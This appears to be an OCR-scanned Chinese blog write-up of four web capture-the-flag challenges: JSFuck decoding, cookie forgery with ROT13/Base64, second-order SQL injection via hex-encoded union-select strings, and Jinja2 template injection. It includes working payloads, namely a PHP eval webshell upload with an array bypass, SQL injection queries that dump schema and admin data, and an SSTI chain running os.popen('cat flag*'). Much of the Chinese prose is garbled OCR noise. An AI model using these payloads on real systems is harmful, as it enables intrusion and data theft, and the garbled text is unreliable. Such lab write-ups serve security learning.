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A HEBISQEEN a2 R IEA

FRALFE B . ARSCNIEERBISCE, #15_CC 4.0 BY-SA RRAUML, e aRiE Mt b ESCH A BRI A 75 B
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broken (JSfuck)
who are you? (FAHE AL CHLE )
phone number C¥%-+7S#E | FISQLEAND

Musee de X (jinja2tERiEN)

broken (JSfuck)

B HHuht: http://106.75.72.168:1111/

BIXMPERF, — RIS P00 6 G117,

REMMTRREESE R, TRMBREER ), EmL], BIT4RN Aray [ Aray[1]]".
5 Array[1]” Bl T 5 Flflag.


https://blog.csdn.net/dyw_666666
https://blog.csdn.net/dyw_666666/category_8327936.html
https://blog.csdn.net/dyw_666666/category_7928043.html
https://blog.csdn.net/dyw_666666/category_8876401.html
https://so.csdn.net/so/search/s.do?q=JSfuck&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=ROT13%25E5%258A%25A0%25E5%25AF%2586&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2595%25B0%25E7%25BB%2584%25E5%25BD%25A2%25E5%25BC%258F%25E6%2596%2587%25E4%25BB%25B6%25E8%25AF%25BB%25E5%2586%2599&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%258D%2581%25E5%2585%25AD%25E8%25BF%259B%25E5%2588%25B6sql%25E6%25B3%25A8%25E5%2585%25A5&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=jinja2%25E6%25A8%25A1%25E6%259D%25BF%25E6%25B3%25A8%25E5%2585%25A5&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/dyw_666666/article/details/89874060
https://blog.csdn.net/dyw_666666/category_8327936.html
https://blog.csdn.net/dyw_666666/category_7928043.html
https://blog.csdn.net/dyw_666666/category_8876401.html
http://106.75.72.168:1111/
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=dyw_666666&utm_content=89874060
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€ w (1) [.]
wa: (1) [.]
@: "var -Flag=|'-Flag{-F_-F_l_u_a_c_g_k}\I;aler‘t('-Flag is not here’);"
length: 1
» <prototype>: Array []
length: 1
» <prototype>: Array []

»

who are you? (BAR XL XHEE)
§B E #udtk: http://106.75.72.168:2222/

B REEAH2KENE, TREE—TFCookie: role=Zjo10iJOaHIJMZyl7, Baseb4f# #1583 f:5:"thrfg";

MF I MDSInE /8 URLINZ Json/agz= ISREN=EES ESCAPENN/ER= BASE64

f:5:"thrfg™; Zjo10iJ0aH)mZyl7

thrfigth ZROT13/M%iE 1, ROTA3Z UM 1 —F4k, TAER 515 Flguest.

thrfg

fuis 13 = e | | e |

guest

ik admini#E /T PLIN S, 4R /5 Base64in®, 1822Zyl7Zjo10iducXp2YSI7.

#t cookieffi B NIXA, BEF:


http://106.75.72.168:2222/

Hello admin, now you can upload something you are easy to forget.

T PRARS -

<{!DOCTYPE html>

<html>

<head>
titler</title>

¢/head>

<body>

{!— $filename = § POST[ filename |; $data = § POST[ data’]; ——>Hello admin, now you can upload something you are easy to forget.</body>

</html>

WMRBEEMAfilename=1.phpsdata=<?=eval ($ POST['pass']) ;2> HEHHE"No No No!",

Tips: B AXM:BR T fopen fwrite fclose i/ —# file_put_contents , XA EEIE R EH (ATt —8 xRN

FRFEAS I )

B BATAT LA Hdata[]=1 7%, fEdata N7 5 2 A, AT DA AT RE A 7E I 1E U DL FE L 8

Go Cancel < | >

Request

Raw | Params | Headers | Hex

Target: http://106.75.72."

Response

Raw | Headers | Hex HTMLIRender]

POST /HTTR/M.1

Host: 106.75.72.168:2222

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; v66.0) Gecko/20100101 Firefox/66.0
Accept: text/html application/xhtml+xml application/xml;g=0.9 *™*q=0.8
Accept-Language: zh-CM,zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;g=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: hitp://106.75.72.168:2222/

Content-Type: application/x-www-form-urlencoded

Content-Length: 49

Connection: close

Cookie: role=Zjo1 OiJucXp2 Y SI7

Upgrade-Insecure-Requests: 1

filename=123. php&.data[]=<?=eval(§_FPOST[pass]),>

Payload:

http://106.75.72.168:2222/

[POST]filename=123.php&data[]=<?=eval($_POST['pass']);>

flag{e07¢cd440-8eed-11e7-997d-7efc09eb6c59}

B 3lflag.

phone number (#1753 il K1 SQLEAN )

AR H Hhk: http://106.75.72.168:3333
XR-AGREMHRE. - .

HTTR/1.1 200 OK

Date: Man, 06 May 2019 02:22:50 GMT
Server: Apache/2.4.7 (Ubuntu)
¥-Powered-By: PHP/5.5.9-1ubuntud 22
Vary: Accept-Encoding
Content-Length: 146

Connection: close

Content-Type: text/html

<IDOCTYPE htmi=

<html=

<head=

<title=<ftitle>

</head>

<hody=

your file is in ./uploads/2311a703370455fch3d7fh6d3d957 d72123.php</body=
</htrl=


http://106.75.72.168:3333

ZREM—THF, BhiE, BEFHEH, httpidk, BE. . o TR

BETEREFH S 4 H ASH check.php T LR B —ANERE:

style=" text-align:center;”>There only 2224 people use the same phone as youl/divl|<!— 7 itladmin/iH il 25 A ~—>

3R SQLEN -
M TERE M E XA TERN, A R ABEZphone.

REEMREAphonefsZ, WEMREIMNE, ZHEAN. .« -

fE %35 M PUE M check T ATUERIRZ. o .
phonest R BEMINEUFE, BT AR LUK sqliE &) F NS N6 ERI BV EN . ©
IR B

1 order by 1
1 order by 2 4k

24 order by 2 B #4h, HBHRBFINFEE.

Hello, 4324253

Your phone is 1 order by 2.
M

ind you'll know how many people use the same

logout |



S C O© F&=£| 106.75.72.168:3333/check.php

db error!

SQLiE4):

-1 union select database()

-1 union select group_concat(schema_name) from information_schema.schemata

-1 union select group_concat(table_name) from information_schema.tables where table_schema="webdb'
-1 union select group_concat(column_name) from information_schema.columns where table_name='user'
-1 union select phone from user where username='admin'

L WaY:i3 i E

0x2D3120756E696F6E2073656C6563742064617461626173652829

0x2D3120756E696F6E2073656C6563742067726F75705F636F6E63617428736368656D615F6E616D65292066726F6D20696E666F726
0x2D3120756E696F6E2073656C6563742067726F75705F636F6E636174287461626C655F6E616D6529202066726F6D20696E666F726
0x2D3120756E696F6E2073656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726
0x2D3120756E696F6E2073656C6563742070686F6E652066726F6D207573657220776865726520757365726E616D653D2761646D696

5 d=y: i flag:
Go Cancel < |v >|v Follow redirection Target: h
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]
POST /register.php HTTRP/M.1 : -z
Host: 106.75.72.168:3333 stylesheet” href="assets/css/reset. css">
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; nv:66.0) Gecko/20100101 Firefox/66.0 <link rel="stylesheet" href="assets/css/supersized.css">
Accept: text/html application/xhtml+xml application/xml;g=0.9 *f*q=0.8 <link rel="stylesheet" href="assets/css/style. css">
Accept-Language: zh-CN, zh;q=0.8,zh-TW;q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate <I-- HTMLS shim, for |EB-8 support of HTMLS elements -->
Referer; http://106.75.72.168:3333/register.php <I-[if It 1E 9]=
Content-Type: application/x-www-form-urlencoded <scrpt src="assets/s'html5 js"=</scrpt>
Content-Length: 148 <lfendif]--=
Connection: close /
Cookie: PHPSESSID=003isvobkmcjkarfgcucShdrg? <l Javascrigt --=
Upgrade-Insecure-Requests: 1 <script srcy assets/js/jquery-1.8.2.min.js"></script=>

="assets/js/supersized.3.2.7.min.js"=</script>

<script
sername=434321&password=434321 &phone=0x3120756 6966207 3656 065637 4207 06865 652066 i
F 266 d207e7 3657 2207 T6BE5T 26520757 3657 26e616d65203d276 1646069627

rc="assets/js/supersized-init.js"></script>
src="assets/js/scripts.js"></script>

Success!

@ FZ2= | 106.75.72.168:3333/index.php

Hello, 434321

Your phone is 1 union select phone from user where username ='admin’.
Click on the link and you’ll know how many people use the same phone as you.

Check || logout



106.75.72.168:3333/check.php

There only 2232 people use the same phone as you
There only people use the same phone as you
There only 123456789 people use the same phone as you
There only 1 people use the same phone as you

There only 123 people use the same phone as you
There only 13569982121 people use the same phone as you

B4
1. EARRBERE TN, BATA LI sqliF A% Heml 163 ] FEA
2. BREUE AR KM IT #RT BEAE AN, R AnYE N ST

Musee de X (jinja2t#RiEN)
B H3bhk: http://106.75.72.168:8888/

BHAKBEEREE —®E: M. Bk, Bk, A5 BRIOEHENILRERER, R, 2TREEEFHIX
RAjinja2ttR, 3 HFH P 2808 A\ Template(text).render() S #E4TE S, B I AR E X 2 ANjinja2 B4R iE
Ao

RIGUT BERERGEHE T, wMA 4, RERKA 4 Ndonatet®fE, fillkjinja2BEtRiEN .

ERESR IEM A 42 A SRR B P AL R — AR .
KBHE:
M

register

Username

12341234{{".__class__._ mro__[2]._ subclasses__ ()[59].__init__.__globi

Password

A BT )G BB -

@ 106.75.72.168:

Success: your file would be stored at /tmp/memes/123412345{{"._ class_._mro__[2]._ subclasses_ ()[59].__init_._globals_._ builtins__.eval("__import_('os").popen('cat flag*').read()")}}

Ui ) XA B A


http://106.75.72.168:8888/

& c () 106.75.72.168 ex.php/tmp/n

L3 B B

Musee dg X Indice registre identifier donne connectez-out

Head on over here to donate your treasures to Musee de X. If you have no thing to donate, get out! SVP. logout.

3|45 ¥k W M donate.php:

donate

The address of your donation

Your name

No donation, get out! logout.

HE—NRORB R, JEEBflag, HEABBRMYE:

http://pic4.bbzhi.com/jingxuanbizhi/heisediannaozhuomianbizhixiazai/heisediannaozhuomianbizhixiazai_ 362061

BEERMHAP A, B

donate

The address of your donation

1aozhuomianbizhixiazai/heisediannaozhuomianbizhixiazai 362061_5.jpg

Your name

123412345{{".__class__ . mro_ [2]._ subclasses_ ()[59].__init__._ glc

Go!

No donation, get out! logout.

collection de musee
AJAIABLBELagldL4E0EE1=02a8=p0lLE=B44c=8628712cal0s(

hitps:/blog.csdn.net/dyw_666666

2 Flflag.

KT SSTHRREAK =R X E:
PET B B EAEARE N L BB R R T, XA 5 E R

https://blog.csdn.net/u011377996/article/details/86776181


https://blog.csdn.net/u011377996/article/details/86776181

i — 8 CTF& & 7T i i :
https://blog.csdn.net/qq_40827990/article/details/82940894

BEREANBBR DY
https://lwww.freebuf.com/vuls/162752.htmI?replytocom=242609#respond



https://blog.csdn.net/qq_40827990/article/details/82940894
https://www.freebuf.com/vuls/162752.html?replytocom=242609#respond
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